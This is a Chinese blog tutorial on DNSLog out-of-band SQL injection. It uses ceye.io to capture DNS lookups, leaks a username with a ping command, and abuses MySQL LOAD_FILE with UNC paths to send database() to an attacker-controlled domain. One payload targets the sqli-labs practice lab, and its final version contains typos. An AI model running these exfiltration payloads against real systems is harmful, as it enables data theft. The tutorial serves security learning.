SQL注入之DNSLog注入

本文知识交流学习心得,如果被拿去做违法乱纪的事情,请自行负责,与作者无关

一.什么是DNSLog

DNS就是域名解析服务,把一个域名转换为对应的ip,转换完成之后,DNS服务器就会有一个日志来记录本次转换的时间、域名、域名对应的ip、请求方的一些信息,这个日志就叫DNSLog。

但是,必须是拥有这个DNS服务器的人,才可以查看DNSLog,为了更加深刻理解DNSLog注入,推荐一个平台 ceye.io,注册之后,就会有一个自己的DNS服务器

下图就是注册之后的,首先需要得到这个Identifier

 

然后我在本机上ping一下这个Identifier

 

然后在ceye平台上就会有一个对应的记录

 

二.如何利用DNSLog

在ping 这个地址的时候,是可以变为多级的,比如一开始是 ping xxx.ceye.io ,但是我可以这样

ping %username%.xxx.ceye.io

 

这样,平台产生的记录,就会得到你当前计算机的用户名(我这里遮掉了)

 

那么,同样的道理,我如果这里放一个sql语句,是不是也会执行呢?

再补充一个内容,叫UNC,它是windows上面共享资源地址的格式,比如你分享一个文件出去,然后就会产生一个访问这个文件的地址,这个就是UNC的路径,可以理解为UNC就是访问共享资源地址的格式

那这个DNSLog和数据库(这里以MYSQL为列)会有什么关联呢?

MYSQL里面有一个文件读写的函数,LOAD_FILE(文件路径)

 

如何利用这个函数呢?

1.需要在mysql的my.ini文件里面配置参数 secure_file_priv 

在[mysqld]下面配置,配置完了之后需要重启mysql,管理员身份执行 net stop mysqlnet start mysql

然后再查询看看是否真的打开了 命令 show variables like '%secure_file_priv%',如下图,是打开了的

 

2.有了读写权限之后,这个读写函数,只能读取本机的文件,并且读取的字节数要小于max_allowed_packet

查询max_allowed_packet

现在读取一个文件试试,路径是D:\\d1.txt 命令为 select LOAD_FILE('D:\\d1.txt')

读取出来的内容为16进制之后的

 

然后还可以写入一个文件到本地文件,命令 select 123 into outfile 'E:\\out.txt'

 

那如果我把一个DNS服务器的地址放入,然后再访问这个地址,不就是可以在DNSLog上面看到这个数据库的信息了吗?

三.DNSLog注入

先构建这个地址,然后访问

比如 select load_file('////aaa.xxx.ceye.io/dzh'),注意,这里的/dzh可以是任何内容,比如/zxc,但是必须要有

然后就是,不要在navicat后面执行上面的语句,可能会是如下情况

 

需要在命令行执行

 

那么这个aaa,是可以替换为sql语句的,比如我进入一个叫crm的数据库

并且执行命令 select if((select load_file(concat('\\\\',database(),'.xxx.ceye.io\\dzh'))),1,0);

 

 

最后我们再以sqli-labs靶场的第五关为列子

在地址后面加上 ' and if((select load_file(concat('\\\\',databse().'xxx.ceye.io\\dzh')))1,0)--+

 

然后可以在后台看到sqli-labs的数据库

 

后面的步骤就是替换sql语句,来进行其他的注入操作了

 

 

 

posted @ 2022-11-30 22:26  reweber  阅读(825)  评论(0)    收藏  举报